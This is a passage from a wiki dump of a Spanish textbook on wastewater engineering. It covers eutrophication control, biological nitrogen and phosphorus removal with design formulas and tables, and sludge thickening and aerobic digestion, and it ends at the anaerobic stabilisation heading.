==5. MEDIDAS PARA EVITAR LA EUTROFIZACIÓN==

 
* Incluir tratamientos de eliminación de nitrógeno y fósforo en las EDARs situadas en zonas sensibles, de acuerdo a lo expuesto en la legislación.

* Limitación en el uso de fertilizantes y optimizando los sistemas de aplicación de los mismos. 

* Adopción de buenas prácticas de agricultura.

* Control de los focos de contaminación difusa por parte de la Autoridad pertinente. 

* Reducir las emisiones de NOx y amoníaco a la atmósfera.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Procesos biológicos aerobios
 |actual=Eutrofización
 |siguiente=Eliminación biológica de nutrientes
}}

{{AutoCat}}</text>
      <sha1>tqdgz1vk3rnl1jkys710r6ze3mtsj0b</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Eliminación biológica de nutrientes</title>
    <ns>0</ns>
    <id>12673</id>
    <revision>
      <id>429967</id>
      <parentid>280111</parentid>
      <timestamp>2026-08-02T09:29:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429967</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13096" sha1="733tii1wnanpme0fqd3g7wenxhiouaf" xml:space="preserve">==1. EFECTO NOCIVO DEL NITRÓGENO Y FÓSFORO==

La DIRECTIVA CEE/271/1991 establece los siguientes porcentajes mínimos de reducción de nutrientes

{| border=1 

!PARÁMETROS!!CONCENTRACIÓN!!PORCENTAJE MÍNIMO DE REDUCCIÓN.

|-----------------

|Fósforo total (P-PO4+P orgánico)||2 mgP/l 

(de 10.000 a 100000 hab-eq.)

1 mgP/l

(más de 100000 hab-eq.)

||80

|-----------------

|Nitrógeno total 

(NTK+N-NO3)

||15 mgN/l

(de 10.000 a 100000 hab-eq.)

10 mgN/l

(más de 100000 hab-eq.)

||70-80


|}
Las consecuencias de su presencia en las aguas son las siguientes

# Nitrógeno
## N-NH4
##*Gran consumo de Oxígeno
##*Tóxico para algunos peces
##*Dificultades para el tratamiento de agua potable
##N-NO3
##*Eutrofización del medio
##*Tóxico para la salud humana
# Fósforo
#*Eutrofización del medio

==2. EFECTO DE DIVERSAS OPERACIONES Y PROCESOS DE TRATAMIENTO SOBRE LOS COMPUESTOS DE NITRÓGENO==
N

{| border=1 

!Operaciones y Procesos de tratamiento	!!Nitrógeno orgánico	!!NH3-NH4	!!NO3	!!Eliminación del Nitrógeno total que entra en el proceso %.
|-----------------
|Tratamiento Convencional	||	||	||	||
|-----------------
|Primario	||10-20% eliminado	||Ningún efecto	||Ningún efecto	||5-10
|-----------------
|Secundario	||15-50% eliminadoUrea -&gt; NH3-NH4	||&lt; 10% eliminado	||Ligero	||10-30
|-----------------
|Proceso Biológicos	||	||	||	||
|-----------------
|Asimilación bacteriana	||Ningún efecto	||40-70% eliminado	||Ligero	||30-70
|-----------------
|Desnitrificación	||Ningún efecto	||Ningún efecto	||80-90 % elim.	||70-95
|-----------------
|Cultivo de algas	||Transformación parcial a NH3-NH4	||-&gt;Células	||-&gt;Células	||50-80
|-----------------
|Nitrificación	||Limitado	||-&gt; NO3 	||Ningún efecto	||5-20
|-----------------
|Estanques de estabilización	||Transformación parcial a NH3-NH4	||Eliminación parcial por arrastre.	||Eliminación parcial por nitrif/desnitrif.	||20-90
|}
 

[[Imagen: Tar_elim_N2_01.gif]]

==3. EFECTO DE DIVERSAS OPERACIONES Y PROCESOS DE TRATAMIENTO SOBRE LOS COMPUESTOS DE NITRÓGENO==

Valores típicos para aguas residuales urbanas
{| border=1 

!Operaciones y Procesos de tratamiento !!Nitrógeno orgánico !!NH3-NH4 !!NO3 !!Eliminación del Nitrógeno total que entra en el proceso %.
|-----------------

|Proceso químicos || || || ||
|-----------------

|Cloración de breakpoint ||Incierto ||90-100% eliminado ||Ningún efecto ||80-95
|-----------------

|Coagulación química ||50-70% eliminado ||Ligero ||Ligero ||20-30
|-----------------

|Absorción sobre carbono ||30-50 % eliminado ||Ligero ||Ligero ||10-20
|-----------------

|Intercambio iónico selectivo para el amoniaco ||Ligero, incierto ||80-97 % eliminado ||Ningún efecto ||70-95
|-----------------

|Intercambio iónico selectivo para el nitrato ||Ningún efecto ||Ningún efecto ||75-90 % elim. ||70-90
|-----------------

|Operaciones físicas || || || ||
|-----------------

|Filtración ||30-95% Nitr. Orgánico suspendido eliminado ||Ningún efecto ||Ningún efecto ||20-40
|-----------------

|Arrastre con aire ||Ningún efecto ||60-95 % eliminado ||Ningún efecto ||50-90
|-----------------

|Electro diálisis ||100 % de Nitr. Org. suspendido eliminado. ||30-50 % eliminado ||30-50 % eliminado ||40-50
|-----------------

|Osmosis inversa ||60-90 % eliminado ||60-90 % eliminado ||60-90 % elim. ||80-90


|}


 {| border=1 

! !!FUERTE !!MEDIA !!DÉBIL
|-----------------

|Nitrogeno total (NTK) ||60 mgN/l ||42 mgN/l ||25 mgN/l
|-----------------

|N-NO3 ||0 mgN/l ||0 mgN/l ||0 mgN/l
|-----------------

|N-NH4 ||45 mgN/l ||30 mgN/l ||15 mgN/l
|-----------------

|N Orgánico ||15 mgN/l ||12 mgN/l ||10 mgN/l


|}


===3.1 Reacciones para nitrificación===

2 NH4+ + 3O2 à 2NO2- + 4H+ + 2H2O

'''Nitrosomonas'''

:2NO2- + O2 à 2NO3-

'''Nitrobacter'''

:NH4+ + 2O2 à NO3- + 2H+ + H2O

Consumo de Oxigeno: 4,57 g O2/ g N-NH4oxidado

Consumo de Alcalinidad: 7,14 mg CO3Ca/mg N-NH4oxidado

===3.2 Bacterias nitrificantes===

* Organismos quimioautótrofos

* Organismos aerobios estrictos

* Crecimiento de nitrosomonas &lt; Crecimiento de nitrobacter

* Baja producción de materia celular

* Cinética de crecimiento tipo MONOD

 {| border=1 

! !!Intervalo !!Valor Típico
|-----------------

|Nitrosomonas

mm       (d-1)

Ks        (NH4 mg l ) 

||0,3 – 2,0

0,2 – 2,0 

||0,7

0,6
|-----------------

|Nitrobacter

mm       (d-1)

Ks        (N02 mg l ) 

||0,4 – 3,0

0,2 – 0,5 

||1,0

1,4

|}

===3.3 Factores que afectan la nitrificación===

'''Temperatura'''

::KT = K20ºC * O (T-20)

: O Organismos autótrofos = 1,1 

: O Organismos heterótrofos = 1,07

*pH óptimo: 7,5 
*Oxígeno disuelto : 2mg/l
*Alcalinidad
Relación DBO5/NTK
*Tóxicos e inhibidores

==4. CONSIDERACIONES DE DISEÑO: CULTIVOS EN SUSPENSIÓN==

*Determinación del pH del Proceso:   
::7,2 &lt; pH &lt; 8.5

*Determinación del crecimiento bacteriano máximo

mm nitrosomona = 0,7 d-1

*Determinación del tiempo de retención celular mínimo

*Determinación del tiempo de retención celular de diseño

::STR dis = STR min * FS1,5 &lt; FS &lt; 2,5

*Determinación de la producción de lodo

::&lt; 5% de Fangos totales

[[Imagen: Tar_elim_nut_02.jpg]]

===4.1 Eliminación de Nitrógeno (Nitratos) en el efluente ===

'''a) Capacidad de Nitrificación: '''

CN = NTKINF – NH4ef – NTK org sol ef – NTKdec – NTKSS e - NBIO

:CN = Capacidad de Nitrificación

:NTKINF = NTK del influente

:NH4ef = Nitrógeno amoniacal en efluente

:N TKorg sol ef = Nitrógeno orgánico refracterio efluente (Biodegradable y no Biodegradable.) (4% NTKINF)

:NTKdec = Nitrógeno insoluble decantable (10% NTK el)

:NTKSS= Nitrógeno asociado a los sólidos en suspensión del efluente (6% SSef.).

:NTK bio = consumido por la biológia del proceso (4% DBO5 elim)

'''b) NTK de Salida: '''

NTKs = NTK inf – NTKox – NTKbio – NTKdec

'''c) Determinación de Oxigeno necesario: '''

NOT (mg O2/l)= NOB + NON

:NON = 4,57 * C

'''d) Determinación de alcalinidad necesaria'''

Nalc (mg CO3Ca / l) = 7,14 * CN + 100

====4.2 Procesos de cultivos en suspensión====

[[Imagen: Tar_elim_Nut_03.gif]]

[[Imagen: Tar_elim_Nut_04.jpg]]

==5. CONSIDERACIONES DE  DISEÑO: CULTIVOS FIJOS==

Lechos Bacterianos
{| border=1 
! Proceso 	!!Porcentaje de Nitrificación	!!Carga Kg DBO5/m3d
|-----------------
|Filtro percolador, medio de piedras	||75-8585-95	||0,16 – 0,0960,096 – 0,048
|-----------------
|Filtro medio plástico	||75-85 85-95	||0,288 – 0,1920,192 – 0,096
|}

[[Imagen: Tar_elim_Nut_05.gif]]


===5.1 Desnitrificación===

Ventajas de la nitrificación – desnitrificación: 

* Recuperación de parte de la alcalinidad consumida en nitrificación

* Recuperación de parte del Oxigeno consumido por nitrificación

* Reducción de la desnitrificación incontrolada en decantadores

* Mejoras de la sedimentabilidad de los fangos

* Favorece la eliminación de fósforo 

===5.2 Reacciones para desnitrificación===

6 NO3- + 2CH3OH à 6NO2- + 2CO2 + 4H2O

6 NO2- + 3CH3OH à 3N2 + 3CO2 + 3H2O + 6 OH-

===5.3 Bacterias heterótrofas===

6 NO3- + 5CH3OH à 3N2 + 5CO2 + 7H2O + 6 OH-

Aporte de Oxigeno: 2,86 gr O2/ gr N-NO3 reducido

Aporte de Alcalinidad: 3,57 gr CO3Ca/g N-NO3 reducido

Consumo de Materia Orgánica: 4,6 gr DBO5/gr N-NO3 reducido

===5.4 Bacterias desnitrificantes===

* Organismos heterótrofos

* Organismos facultativos

* Baja producción de materia celular

* Cinética de crecimiento tipo MONOD
{| border=1 

! Heterotrofas

 !!Intervalo !!Valor Típico
|-----------------

|mm       (d-1)

 ||0,3 – 0,9

 ||0,3


|-----------------

|Ks        (NO3 mg l ) ||0,06 – 0,2 ||0,1


|}

===5.5 Factores que afectan a la desnitrificación===

*Temperatura

:KT = K20ºC * O (T-20)

:: O Organismos autótrofos = 1,1 

:: O Organismos heterótrofos = 1,07

*pH: Óptimo 7,5 

*Oxígeno disuelto : ausencia

*Concentración de Nitrato

*Relación DBO5/NTK

*Tóxicos inhibidores

====Proceso en etapas separadas: ====

[[Imagen: Tar_elim_Nut_06.gif]]


*  Nitrógeno de salida &lt; 2 mg/l

*  Grandes necesidades de Volumen 

*  Altos consumos de Oxigeno

*  Consumo de metanol

*  Necesidad de Alcalinidad 

*  Problema de desnitrificación endógena.

====Proceso desnitrificación-nitrificación: ====

 
[[Imagen: Tar_elim_Nut_07.gif]]


* Nitrógeno de salida en torno a 15 mg/l
*  Reducción del volumen necesario 
*  Reducción del consumo de  Oxigeno
*  No consumo de metanol
*  Reducción del consumo de alcalinidad 
*  Mejor decantibilidad de los fangos.


====CANALES DE OXIDACIÓN====

[[Imagen: Tar_elim_Nut_08.jpg]]


'''Determinación de N-NH4 en el efluente :'''

* Se determina el STR para el reactor aerobio

'''Determinación de Nitratos en el efluente '''

* N-NO3 EF = CN – N DESNITRIFICADO
* Potencial de Desnitrificación (DP = DP1 + DP2 + DP3)
*# Según la disponibilidad de SDBO5 
*#* DP1 = SDBO5 / 4,60
*# Según la configuración del sistema (DP2)
*#* Fracción anóxica
*#* Edad del Lodo
*#* Biodegradabilidad de la DBO5
*#* Parámetros cinéticos 
*# Según recirculación Interna (DP3)

'''Determinación de Nitrógeno a Desnitrificar (NO3 a nitrif. = NTKoxi – NO3ef )'''

* Determinación de la fracción anóxica y tiempo de retención celular necesarios  para que DP = NO3  a nitrif.  

'''Determinación de la recirculación interna óptima'''

'''Determinación de necesidades de oxigeno'''

: ROT = ROB + 4,57 * CN – 2,86 * DP

'''Determinación de las necesidades de alcalinidad'''

:Ralc = 7,14 * CN + 100 – 3,57 * DP 

====Proceso desnitrificación-nitrificación====

[[Imagen: Tar_elim_Nut_07.gif]]


Adecuado para relaciones normales y bajas de DBO5/NTK

====Proceso bardenpho de 4 etapas. ====

[[Imagen: Tar_elim_Nut_09.gif]]

*Ventaja : Menor gasto de reactivos

*Desventaja : Proceso difícil de controlar

==6. FORMAS DEL FÓSFORO EN AR ==

*ORTOFOSFATOS: 15 – 35 % 

*POLIFOSFATOS : 65 – 85 %

*FÓSFORO DECANTABLE: 5 – 15 % 

*FÓSFORO SOLUBLE : 95 – 85%
{| border=1 

! !!FUERTE!!MEDIA!!DÉBIL
|-----------------

|FOSFORO TOTAL||13 mgP/l||8 mgP/l||4 mgP/l
|-----------------

|P-PO4||10 mgP/l||6 mgP/l||3 mgP/l
|-----------------

|P- orgánico||3 mgP/l||2 mgP/l||1 mgP/l 

|}

===6.1 Efecto de diversas operaciones y procesos de tratamiento sobre la eliminación de fósforo===
{| border=1 

!Operación o Procesos de Tratamiento !!Eliminación de fósforo (% )
|-----------------

|'''Tratamiento Convencional''' 
|-----------------

|Primario||10-20
|-----------------

|Fangos Activados||10-25
|-----------------

|Filtros Bacterianos||8-12
|-----------------

|CBR´s ||8-12
|-----------------

|'''Eliminación biológica de fósforo (proceso independiente)''' ||70-90
|-----------------

|'''Eliminación química''' ||70-90
|-----------------

|'''Eliminación física''' 
|-----------------

|

:Filtración  
||20-50
|-----------------

|

:Osmosis inversa 
||90-100
|-----------------

|

:Adsorción sobre carbono 
||10-30
|}

Descripción del proceso

[[Imagen: Tar_elim_Nut_10.gif]]

===6.2 Factores que afectan a la defosfatación===

*Temperatura

:KT = K20ºC * O (T-20)

::O PAO = 1,04

::O heterótrofos = 1,07

*pH: Óptimo 7 - 8 

*Oxígeno disuelto : 2 mg/l en zona óxica

*Concentración de Nitrato  y oxigeno en zona anaerobia

::1 gr de NO3 consume 4,16 gr de DBO5r

::1 gr de O2 consume 1,6 gr de DBO5r

*Relación DBO5/NTK

::Para eliminar 1 gr de fósforo se necesitan 7 – 9 gr DBO5r

===6.3 Consideraciones de diseño: Eliminación de P===

'''Determinar la concentración de fósforo efluente'''

*Pef = Pin – Peliminado

*Pef = P-PO4 + PSSe

*PSSe = 5% Sse

'''Determinar tiempo de retención celular y fracción anaerobia'''

*Fijación del tiempo de retención celular en cámara anaerobia en 1-2 h.

*Fijación de la fracción anaerobia según DQO del agua bruta


{| border=1 

!DQO en agua bruta. !!Fracción zona anaerobia (FAN)
|-----------------

|&lt; 400 ||0,20 – 0,25


|-----------------

|400 – 700  ||0,15 – 0,20
|-----------------

|&gt; 700 ||0,10 – 0,15
|}

[[Imagen: Tar_elim_Nut_11.jpg]]

 
Fracción anaerobia 

Fracción anóxica

Recirculación interna

Relación de DBO5 / NTK

Tiempo de retención celular total ( Para Nitrificación, desnitrificación y eliminación de Fósforo)

* Difícil conseguir Bajas concentraciones de Fósforo ( &lt; 2 mg/l)

[[Imagen: Tar_elim_Nut_12.gif]]

==7. PROCESOS DE FANGOS ACTIVOS CON ELIMINACIÓN DE N Y P==

PROCESO BARDENPHO de 5 y 3 etapas.

Procesos  UCT

[[Imagen: Tar_elim_Nut_13.gif]]

Aconsejable para relaciones DBO5 / Fósforo total no muy altas

Fangos producidos: 

Problema: Redisolución del fósforo si pasan por fases anaerobias

Soluciones: 

* Espesado por flotación

* Reducción de almacenamiento de fangos frescos

* Adición de cal o sales metálicas en caso de almacenamiento

* Digestión anaerobia sin reboses

* Utilización agrícola en estado liquido


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Eutrofización
 |actual=Eliminación biológica de nutrientes
 |siguiente=Línea de fangos
}}

{{AutoCat}}</text>
      <sha1>733tii1wnanpme0fqd3g7wenxhiouaf</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Línea de fangos</title>
    <ns>0</ns>
    <id>12674</id>
    <revision>
      <id>429968</id>
      <parentid>389517</parentid>
      <timestamp>2026-08-02T09:29:51Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429968</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="40420" sha1="1qnv0d6ksaz2agl0hroq20sp0n262ra" xml:space="preserve">==Introducción==

En el tratamiento de aguas residuales, cuyo objetivo principal es eliminar la contaminación antes de su vertido al cauce receptor, se generan una serie de subproductos denominados fangos, donde se concentra la contaminación eliminada, y cuyo tratamiento y evacuación puede ser problemática.

Las dos fuentes principales de producción de fangos son el tratamiento primario y secundario. Los sólidos sedimentados retirados del fondo de los decantadores primarios y secundarios son, en realidad, una mezcla acuosa de color y olor característicos llamada fango fresco.

Los fangos producidos en el tratamiento primario y secundario de la línea de agua de una EDAR presentan las siguientes características:

*Tienen una gran cantidad de agua (95-99%), por lo que ocupan un volumen importante y son de difícil manipulación.
*Tienen gran cantidad de materia orgánica, por lo que entran fácilmente en descomposición (putrefacción), produciendo malos olores.
*Poseen una gran cantidad de organismos patógenos, causantes de enfermedades.

Todo ello hace que deban tratarse con sumo cuidado y en su tratamiento deben darse tres fases, encaminadas a reducir al máximo los problemas anteriormente citados:

*Reducción del agua presente en los fangos para evitar el manejo de grandes volúmenes.

*Estabilización de la materia orgánica para evitar problemas de fermentación y putrefacción.

*Conseguir una textura adecuada para que resulten manejables y transportables.

Todo esto se realiza en la llamada '''línea de fango''' de una E.D.A.R. (Estación Depuradora de Aguas Residuales)

==Origen y características de los fangos==

La cantidad y las propiedades del fango a tratar en una planta depuradora va a depender de las características de las aguas residuales (A.R.) de procedencia, así como del tratamiento a que sean sometidas.

El origen y principales características de los fangos son:

''''' a) Fangos primarios:'''''

Se originan en la decantación primaria.

Estos fangos no han sufrido un tratamiento biológico, no se han descompuesto, por lo que son altamente inestables y putrescibles. Al cabo de cierto tiempo producen mal olor.

Se considera en ellos un contenido de Sólidos en Suspensión (SS) de 90 gr/hab/d, de los cuales un 60% es decir, 54 gr/hab/d se consideran sedimentables.

Su color es normalmente gris, con altos contenidos de sólidos fecales y otros tipos de desechos.

Liberan fácilmente su agua de constitución y se espesan bien. Su contenido en humedad varía entre el 95-99%.

''''' b) Fangos biológicos'''''

Se denominan comúnmente fangos en exceso y proceden del proceso de fangos activados.

Su materia orgánica está parcialmente descompuesta.

Color marrón oscuro.

Tienen un olor a tierra húmeda no desagradable, pero en su descomposición posterior se hacen sépticos y producen olores desagradables.

Su contenido en humedad varía entre el 98-99.5% y son difíciles de concentrar.

Pueden espesarse directamente o enviarse a la decantación primaria, donde decantan conjuntamente con los fangos primarios, dando lugar a los Fangos Mixtos.

''''' c) Fangos digeridos aeróbicamente''''':

Son fangos de color marrón oscuro.

Tienen apariencia floculenta.

Olor poco desagradable.

''''' d) Fangos de precipitación química''''':

Su velocidad de descomposición es algo menor que la de los primarios.

Color oscuro, algo rojizo si contienen mucho hierro.

El olor puede ser desagradable, aunque no tanto como el de los fangos primarios.

==Espesamiento==

Los fangos producidos en el tratamiento del agua poseen más del 95% de agua, por lo que ocupan volúmenes importantes, siendo por su naturaleza putrescibles. Ello hace necesario un tratamiento para modificar sus características y permitir unas condiciones tales que su evacuación y disposición final sean óptimas desde el punto de vista sanitario, medioambiental y de su manejo.

La etapa de espesamiento  incluye para reducir el volumen de los fangos mediante concentración o eliminación parcial de agua, los fangos activados que normalmente se bombean desde los tanques de decantación secundaria con un contenido de sólidos del 0.8% pueden espesarse hasta un contenido del 4% de sólidos, consiguiéndose de esta manera una reducción del volumen del fango a una quinta parte del volumen inicial. Con ello se obtienen una serie de ventajas:

* Reducción del volumen de los tanques posteriores al espesamiento, así como su equipamiento.

*Reducción de la cantidad de calor requerida para el calentamiento de los fangos en procesos tales como digestión anaerobia, secado térmico e incineración.

*Reducción y mejora de los rendimientos de los equipos de deshidratación.

Dos son los tipos más frecuentes de espesamientos:

* Espesamiento por gravedad

* Espesamiento por flotación

Además, existe el espesamiento por centrifugación, alternativa válida para cualquier tipo de fango, aunque está más indicada para concentrar fangos muy hidrófilos (que difícilmente liberan el agua que contienen), de difícil compactación.

El tipo de espesamiento a aplicar y su compactación dentro de la línea de fango, depende de la procedencia del fango a espesar y del tipo de tratamiento a efectuar:

a) El espesamiento por gravedad se utiliza para los fangos primarios y los mixtos, así como para los procedentes de una precipitación química, localizándose antes del proceso de la digestión anaerobia. En el caso de que la línea de tratamiento de los fangos incluya una estabilización aerobia de los mismos, el espesador se sitúa, generalmente, posterior a la misma ya que este proceso requiere para su buen funcionamiento concentraciones no muy elevadas, no superiores al 2-2.5%.

b) La flotación está indicada para concentrar los fangos biológicos procedentes del decantador secundario, también llamados fangos en exceso.

c) La centrifugación tiene una aplicación limitada como sistema de espesado en una depuradora.

===3.1. Descripción del espesador por gravedad===

Su diseño es similar a un decantador.

Generalmente son circulares. La alimentación se realiza por tubería a una campana central, que sirve como reparto y de zona tranquilizadora, con una altura tal que no influya en la zona inferior de compactación. El fondo debe tener una pendiente mínima del 10%.

El conjunto va equipado con un mecanismo giratorio provisto de unas '''rasquetas de fondo''' para el barrido de los fangos y su conducción a una poceta central desde donde se extraen, y de '''unas piquetas verticales''' cuya finalidad es la homogeneización de la masa así como la creación de canales preferenciales que faciliten la evacuación del agua intersticial y de los gases ocluidos generados por fenómenos de fermentación. El líquido sobrenadante se recoge por un vertedero perimetral y es enviado a cabecera de la planta.

El mecanismo giratorio suele ser de accionamiento central, con doble brazo diametral. Este tipo de accionamiento es conveniente para obtener el par necesario para asegurar el movimiento del sistema. 

Normalmente se instala un limitador de par para evitar sobretensiones en el motorreductor.

Es aconsejable instalar un sistema automático de elevación de las rasquetas, para arrancar el espesador, sobre todo después de paradas prolongadas, ya que los sedimentos más espesados están en el fondo, aprisionando las rasquetas y haciendo difícil su puesta en funcionamiento, sin que actúe el limitador de par. Una vez que el mecanismo ha alcanzado su velocidad nominal se procede a introducir automáticamente las rasquetas.

El par motor del sistema de arrastre viene dado por:

*Par torsor con arrastre central = c ∙ r2/2

*Par torsor con arrastre periférico = c ∙ r2

Siendo

r = radio del espesador

c = constante variable según la Naturaleza del fango:

*Fangos Primarios c = 45 Kg/m

*Fangos Mixtos c = 40 Kg/m

*Fangos Biológicos c = 30 Kg/m

La extracción de los fangos desde la poceta central puede realizarse por gravedad mediante válvulas o bien por aspiración directa mediante bombas. El sistema de extracción debe tener la posibilidad de hacerse de forma temporizada, así como que la toma pueda realizarse a distintos niveles.

Para evitar posibles olores a menudo se procede a recubrir el espesador mediante una cubierta estanca. Esta puede ser fija, mediante obra de fábrica o bien desmontable, más aconsejable ya que facilita el mantenimiento.

===3.2. Espesamiento por flotación===

Los fangos en exceso se espesan mediante el sistema de flotación debido al bajo peso específico de los flóculos, y su débil capacidad para sedimentar y compactarse.

En un estudio realizado recientemente, se ha comprobado que el grado de espesamiento conseguido dependía de la concentración inicial del fango. Concentraciones finales mayores se conseguían con fangos más diluidos. Además, parece que la capacidad de espesamiento del fango activado en exceso varía con el tiempo medio de retención celular con el que funciona la planta. 

Hay cuatro variantes básicas de la operación de espesado: flotación por aire disuelto, flotación al vacío, flotación por dispersión de aire y flotación biológica.

Sin embargo, sólo la flotación por aire disuelto tiene utilización generalizada para el espesamiento de fangos.

La mayor o menor facilidad para que se produzca la flotación es función de los siguientes factores:

'''Afinidad del aire a la partícula'''. Es necesario que la adhesión de las partículas a las burbujas sea mayor que la tendencia que aquellas tienen a establecer contacto con el agua. Por lo tanto, las partículas hidraulicaófilas tendrán menos afinidad a las burbujas que las hidraulicaófobas.

'''Densidad de la partícula'''. La flotación es más fácil en partículas con densidad muy próxima a la del agua. Cuanto mayor sea la densidad, mayor será la cantidad de aire que debe adherirse a ella para provocar la flotación.

'''Diámetro de la partícula'''. Cuanto mayor sea, es necesario más aire adherido a la partícula.

Por otra parte, el tamaño de la burbuja de aire afecta de modo importante a la eficacia de la flotación, por diversos motivos:

'''El rendimiento''' de la adherencia de las burbujas a las partículas es función del tiempo que dichas burbujas se mantienen en la suspensión y la oportunidad de contactos con dichas partículas. Por lo tanto, cuanto menor sea el diámetro de las partículas, menor será la velocidad ascencional de las mismas y mayor tiempo de retención tendrán.

Cuanto mayor es el '''tamaño de la burbuja''', mayor será la necesidad del caudal de aire a introducir para conseguir una buena equiparación en el tanque de flotación.

El tamaño de las burbujas influye también en la turbulencia en el tanque, produciendo mayor turbulencia a mayor tamaño, reduciendo la eficiencia de la flotación.

El sistema más utilizado en el proceso de flotación de fangos es el de la '''presurización'''. La producción de aire en este sistema consiste en disolver aire en un líquido bajo una presión de varias atmósferas y, a continuación, liberarlo hasta presión atmosférica, con lo que el aire disuelto forma microburbujas que se adhieren a las partículas sólidas. La presurización puede producirse de dos formas:

'''Presurización directa total o parcial''': se presuriza todo o parte del caudal de fangos.

'''Presurización indirecta''': se presuriza agua clarificada, ya sea del propio efluente del espesador o del agua clarificada en el decantador secundario.

La presurización directa es menos aconsejable que la indirecta debido a los riesgos de obstrucción de los equipos de presurización. Es empleado normalmente en pequeñas instalaciones.

====3.2.1 Equipos fundamentales====

Los equipos fundamentales de que consta una flotación por aire disuelto mediante presurización son:

'''Bomba de presurización'''. Las bombas deben tener como característica principal, la de uniformidad de presión dentro de un rango amplio de caudales.

'''Depósito de presurización'''. Consta de un balón o depósito a presión donde se produce la disolución del aire comprimido y del agua o fango a presurizar. El sistema de mezcla debe asegurar el contacto de la mayor superficie de fluido con el aire, para conseguir la concentración del aire en el agua lo más próxima posible a la saturación.

'''Sistema de inyección de aire'''. Este sistema se regula mediante presostato en un rango apropiado a la presión deseada en el depósito de presurización.

La automatización del sistema de presurización se consigue mediante la instalación de niveles de comando en el balón que actúan sobre válvulas automatizadas que regulan la entrada al recipiente tanto del fluido a presurizar como del aire a disolver.

'''Válvulas reductoras de presión'''. El fluido presurizado se introduce en el tanque de flotación y con objeto de formar las microburbujas sin crear turbulencias en el volumen de agua del tanque, es necesario crear una pérdida de carga en la corriente de agua presurizada. Esta rotura de carga se realiza mediante válvulas adecuadas con el objetivo de que la presión del líquido presurizado que se introduce en el flotador sea constante e igual a la presión atmosférica más la presión de la columna de agua existente entre el punto de introducción del líquido en el tanque.

'''Tanque de flotación'''. Puede ser rectangular o circular, siendo éste el más utilizado. Un grupo de accionamiento compuesto por un motorreductor actúa sobre unas rasquetas de fondo que empujan los fangos hacia un canal o tolva de recogida de fangos, de longitud aproximadamente igual a la mitad del radio con una rampa de carga que engarza con el sistema de rasquetas superficiales. La profundidad debe ser ligeramente por debajo del nivel en el tanque para asegurar la recogida en la zona superior más concentrada del lecho de fangos.

La alimentación está constituida por una campana de reparto que tiene por objeto lograr un reparto homogéneo y una tranquilización de la mezcla.

La recogida de los fangos de la tolva central se realiza periódicamente. Los fangos espesados y los flotados se mezclan en una cámara provista de agitador para seguir la línea de tratamiento dispuesta.

El líquido clarificado se recoge por rebose en un vertedero perimetral. La toma se debe alejar del fondo de forma que no le afecten los fangos que puedan depositarse. Generalmente se efectúa a través de un tabique deflector en forma de sifón.

==Estabilización o digestión==

===4.1. Estabilización aerobia.===

La digestión aerobia de los sólidos se produce, sea o no intencionadamente en cualquiera de los casos de tratamiento secundario convencional. En el proceso de aireación prolongada, la digestión aerobia se continúa casi hasta el máximo límite obtenible de reducción de materia orgánica (volátil).

La aireación prolongada es un proceso biológico en el que se digieren por vía aerobia, es decir, en presencia de oxígeno. El fango en exceso producido se conduce, bien sólo o bien mezclado con los fangos primarios, al proceso de estabilización. El fango biológico tiene una gran cantidad de materia orgánica en forma de células y microorganismos que han estado oxidando la materia orgánica en el tratamiento secundario y que después de éste se encuentra en pequeña proporción. En la estabilización lo que se pretende es continuar la oxidación de la materia orgánica que, en este caso, es celular.

Dentro del metabolismo de los microorganismos podemos distinguir dos fases:

* La fase de '''asimilación o síntesis'''.

* La fase de '''desasimilación o respiración endógena'''.

Durante la primera fase los organismos consumen el alimento disponible creando nueva materia celular activa. Es la fase de crecimiento celular. Pero los organismos también necesitan respirar, moverse, y ejercer sus funciones vitales, para lo cual consumen reservas y, por tanto, parte de su propia biomasa. Esto constituye la segunda fase de su metabolismo, en la cual decrece su materia activa.

En el tratamiento secundario se desarrolla principalmente la primera fase y cuando los fangos (que son básicamente células) llegan a la estabilización aerobia se desarrolla fundamentalmente la fase de respiración endógena, para completar así la oxidación total de la materia orgánica que entró en la planta.

====4.1.1. Aplicación, ventajas e inconvenientes de la digestión aerobia====

La estabilización aerobia se utiliza en procesos biológicos que no tienen tratamiento primario, como es el caso de la aireación prolongada a baja carga. En estos casos, la baja carga y los altos períodos de retención hacen que los fangos biológicos ya estén en parte estabilizados y, por tanto, las necesidades de oxígeno (O2) son menores, reduciéndose los costes de explotación. Además, en baja carga la producción de fangos es menor.

También se utiliza para fangos mixtos, pero en este caso se necesita un aporte de O2 hasta 9 veces mayor que cuando se emplea sólo fango biológico. Esto hace que muchos países no utilicen la estabilización aerobia cuando existen fangos primarios. En cualquier caso, dado el alto coste económico, en España sólo se utiliza en poblaciones de 40-50000 habitantes, aunque en otros países este límite es aún más bajo (hasta 10000 habitantes en Inglaterra).

A continuación se resumen, las características de la digestión aerobia de fangos.

* Altos costes de funcionamiento.
* Produce un fango con alto contenido en agua, más difícil de secar posteriormente.
* Alta producción de fangos estabilizados.
* Tiene límite de carga que se puede tratar.
* Bajos costes de inversión en equipos.
* Produce sobrenadantes que suelen ser fáciles de tratar cuando se recirculan en la instalación.
* Reducción de materia orgánica en similares proporciones, pero con menores tiempos de retención.
* Produce pocos olores.
* Las tareas de control y limpieza presentan baja peligrosidad.

====4.1.2. Descripción del proceso====

Los tanques de digestión aerobia pueden ser circulares o rectangulares, de 5 a 6 metros de profundidad, sin cubierta o con cubierta (en el caso de climas fríos, para ayudar al mantenimiento de la temperatura). Los tanques van provistos de equipos de aireación de tipo turbina o difusores, para mantener las condiciones aerobias. Cada tanque tiene una turbina de alimentación de fangos a media profundidad y tras un tiempo de retención de aproximadamente 20 días, el fango estabilizado se conduce mediante otra tubería a un espesador. Los fangos espesados pueden o no ser recirculados, siendo lo primero lo más habitual. Esto permite aumentar los rendimientos. El sobrenadante es conducido a cabecera de planta.

===4.2. Estabilización anaerobia.===

